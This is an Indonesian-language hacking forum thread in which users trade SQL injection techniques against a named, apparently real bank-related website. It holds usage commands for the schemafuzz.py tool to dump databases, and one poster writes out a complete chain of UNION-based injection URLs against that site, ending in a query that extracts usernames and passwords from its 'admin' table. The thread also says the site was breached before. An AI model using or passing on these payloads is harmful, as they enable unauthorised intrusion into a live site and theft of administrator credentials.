Apa penyebab ini ?

[cyber_criminal]

kk master2 semua, saya dapat situs yg ada bug sqlinya ini situsnya

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=110%27

trus pas saya pake command order by, tdak ada tanda2 dari situs ini kira2 masalahnya apa ya ? bingung neh,
:circle: :circle: :circle:

pake command order by 1000000000000000000000

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=110%20order%20by%201000000000000000000000

saya pernah bertanya sama om peniru, om peniru nyuruh saya pake schemafuzz.py, tapi saya tidak tau cara pake schemafuzz.py, pernah saya coba pke schemafuzz.py eh malah keluar tulisan

Code: Select all

  File "C:\Python31\schemafuzz.py", line 63
    print "\n|---------------------------------------------------------------|"
                                                                              ^
SyntaxError: invalid syntax

mohon bantuannya
:kaca: :kaca: :kaca:

[3xtr3m3b0y]

kk master2 semua, saya dapat situs yg ada bug sqlinya ini situsnya

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=110%27

trus pas saya pake command order by, tdak ada tanda2 dari situs ini kira2 masalahnya apa ya ? bingung neh,
:circle: :circle: :circle:

pake command order by 1000000000000000000000

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=110%20order%20by%201000000000000000000000

saya pernah bertanya sama om peniru, om peniru nyuruh saya pake schemafuzz.py, tapi saya tidak tau cara pake schemafuzz.py, pernah saya coba pke schemafuzz.py eh malah keluar tulisan

Code: Select all

  File "C:\Python31\schemafuzz.py", line 63
    print "\n|---------------------------------------------------------------|"
                                                                              ^
SyntaxError: invalid syntax

mohon bantuannya
:kaca: :kaca: :kaca:

Menurut analisa bego sy, query di listingnya kira2 seperti ini :

$query = "SELECT * FROM table_promo where no='$no'";

Perhatikan bagian:

no='$no'

Setiap entry parameter no akan diubah ke STRING, sehingga kira2 query-nya akan sperti ini:

SELECT * FROM table_promo where no='110'

dan ketika kita menyisipkan perintah order by akan sprt ini:

SELECT * FROM table_promo where no='110 order by 100'

Tapi sy sendiri belum paham, mengapa parameter yg kita masukkan tetap dianggap sama dgn yg ada di database...??? Padahal string yg dimasukkan sdh berbeda. Mohon rekan2 web programmer bisa menjelaskan kpd kami2 para Newbie...

Web ini sdh pernah disusupi koq, mgkn telah dilakukan perubahan :
http://www.bankindex.co.id/news/

Pertanyaan sy, ada gak caranya agar tanda petik itu bisa diabaikan, sehingga entry kemudian dibaca sebagai numeric...

[cyber_criminal]

om 3xtr3m3b0y ajarin donk cara pke schemafuzz.py
:kaca: :kaca: :kaca:

[j0ck3r]

om 3xtr3m3b0y ajarin donk cara pke schemafuzz.py
:kaca: :kaca: :kaca:

schemafuzz.py cara pakainya kalau gak salah seperti ini:
python26>schemafuzz.py -u http:/target.com/news.php?id=1 --findcol ( untuk mencari colom)
trus :
python26>schemafuzz.py -u http:/target.com/news.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de --dbs ( untuk cari databasenya)
trus:
python26>schemafuzz.py -u http:/target.com/news.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de --schema -t <nama database> (buat cari tabelnya)
trus:
python26>schemafuzz.py -u http:/target.com/news.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de --dump -D <nama database -T <nama tabel> -C <nama colom yang mau diliat>

maaf para master kalau salah...maklum masih cupu :maaf: :maaf:

[cyber_criminal]

cra masuk ke schemafuzzynya caranya gmna kk ? saya pernah coba, eh malah keluar tulisan ini :

Code: Select all

  File "C:\Python31\schemafuzz.py", line 63
    print "\n|---------------------------------------------------------------|"
                                                                              ^
SyntaxError: invalid syntax

:circle: :circle: :circle:

[j0ck3r]

mungkin file schemafuzz nya rusak...coba search di google...

[cyber_criminal]

terima kasih atas bantuannya teman2 semua, tak cobain dulu
:ngakak: :ngakak: :ngakak:

[3xtr3m3b0y]

Menurut analisa bego sy, query di listingnya kira2 seperti ini :

$query = "SELECT * FROM table_promo where no='$no'";

Perhatikan bagian:

no='$no'

Setiap entry parameter no akan diubah ke STRING, sehingga kira2 query-nya akan sperti ini:

SELECT * FROM table_promo where no='110'

dan ketika kita menyisipkan perintah order by akan sprt ini:

SELECT * FROM table_promo where no='110 order by 100'

Tapi sy sendiri belum paham, mengapa parameter yg kita masukkan tetap dianggap sama dgn yg ada di database...??? Padahal string yg dimasukkan sdh berbeda. Mohon rekan2 web programmer bisa menjelaskan kpd kami2 para Newbie...

Web ini sdh pernah disusupi koq, mgkn telah dilakukan perubahan :
http://www.bankindex.co.id/news/

Pertanyaan sy, ada gak caranya agar tanda petik itu bisa diabaikan, sehingga entry kemudian dibaca sebagai numeric...

Menjawab pertanyaan sy sendiri terkait masalah di atas, berikut solusinya agar tanda quote dapat di abaikan:

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1 and 'a'='a

Sehingga hasil query-nya kira2 seperti ini:

SELECT * FROM table_promo where no='110' union select 1 and 'a'='a'

Jadi untuk mengecek jumlah kolom kira2 akan seperti ini :

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,2,3,4,5 and 'a'='a

Check MySQL Version:

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,version(),3,4,5 and 'a'='a

Untuk mengecek nama tabel kita harus menggunakan subselect:

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3,4,5 and 'a'='a

Untuk melihat tabel berikutnya tinggal merubah limitnya.

Mengecek nama kolom:

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select column_name from information_schema.columns where table_name=0x61646d696e limit 0,1),3,4,5 and 'a'='a

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select column_name from information_schema.columns where table_name=0x61646d696e limit 1,1),3,4,5 and 'a'='a

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select column_name from information_schema.columns where table_name=0x61646d696e limit 2,1),3,4,5 and 'a'='a

Wanna see the columns content...???

Code: Select all

http://www.bankindex.co.id/index.php?page=detilpromo&no=100' union select 1,(select concat(user,0x3a,pass) from admin limit 0,1),3,4,5 and 'a'='a

Untuk User selanjutnya tinggal mengubah limit saja...

Ok, that's all...

Ref:
1. Havij (I think this one of the best tool for SQL Injection)
2. Wireshark (I use it to analyze how is Havij working...???)

[cyber_criminal]

mantap om 3xtr3m3b0y, mungkin pertanyaan yg selama ini ada dalam pikiran saya telah dijawab oleh om 3xtr3m3b0y
:love: :love: :love:

[3xtr3m3b0y]

Selama masih ada kemauan pasti jalan2 yg awalnya tertutup akan terbuka dgn sendirinya, yg kita butuhkan hanya semangat pantang menyerah Om...